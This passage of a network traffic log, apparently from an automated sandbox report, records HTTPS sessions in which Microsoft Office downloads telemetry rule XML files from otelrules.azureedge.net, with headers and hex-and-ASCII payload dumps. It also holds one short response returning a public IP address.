2024-11-23 17:22:51 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5mkvm3gilvi3800rr4bc8o6for; expires=Wed, 19-Mar-2025 11:09:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0kpxOpAQ1PFwk7gUc9%2Bax%2FwoZbSYKt3cDI4l9RI9CVL5DfQ%2FViZPHgqMa0fF0a%2BuThBz1RlNja4DCHXsaejiiPp5BdKgcLF8EaVAcwERdbzl%2B2lMHtVxDq8enqlqW6tZqQhESe0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7fc1fd77271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21414&delivery_rate=1619523&cwnd=223&unsent_bytes=0&cid=afc71fbdbcad5236&ts=947&x=0"
2024-11-23 17:22:51 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:50 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:51 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172251Z-178bfbc474btrnf9hC1NYCb80g00000004yg000000007w5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:51 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:51 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:51 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: dcdca57e-b01e-003e-0dcb-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172251Z-15b8b599d88tr2flhC1TEB5gk4000000038g00000000gwv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:52 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:51 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:52 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: f18ba134-001e-008d-7b76-3bd91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172252Z-15b8b599d88s6mj9hC1TEBur3000000002z000000000ha32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:52 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:51 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:52 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172252Z-178bfbc474b9fdhphC1NYCac0n00000004qg000000008ysg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:52 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:52 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:52 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172252Z-178bfbc474bpnd5vhC1NYC4vr400000004ng00000000nk3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:52 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:53 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:54 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:54 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 0da4534b-a01e-0053-0345-3d8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172254Z-15b8b599d886w4hzhC1TEBb4ug00000003cg000000001dgz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:54 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:54 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172254Z-178bfbc474bxkclvhC1NYC69g400000004ng00000000f2nd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:54 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: a0a34a76-601e-0050-3b16-3d2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172254Z-178bfbc474bh5zbqhC1NYCkdug00000004qg000000009r0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:54 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:54 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172254Z-178bfbc474btrnf9hC1NYCb80g00000004xg00000000aan5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:55 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:54 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:55 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e88bdfa1-301e-003f-630e-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172255Z-178bfbc474btvfdfhC1NYCa2en00000004vg000000008paz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:55 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:55 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:56 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172256Z-174c587ffdfldtt2hC1TEBwv9c000000034g000000004gux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:56 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
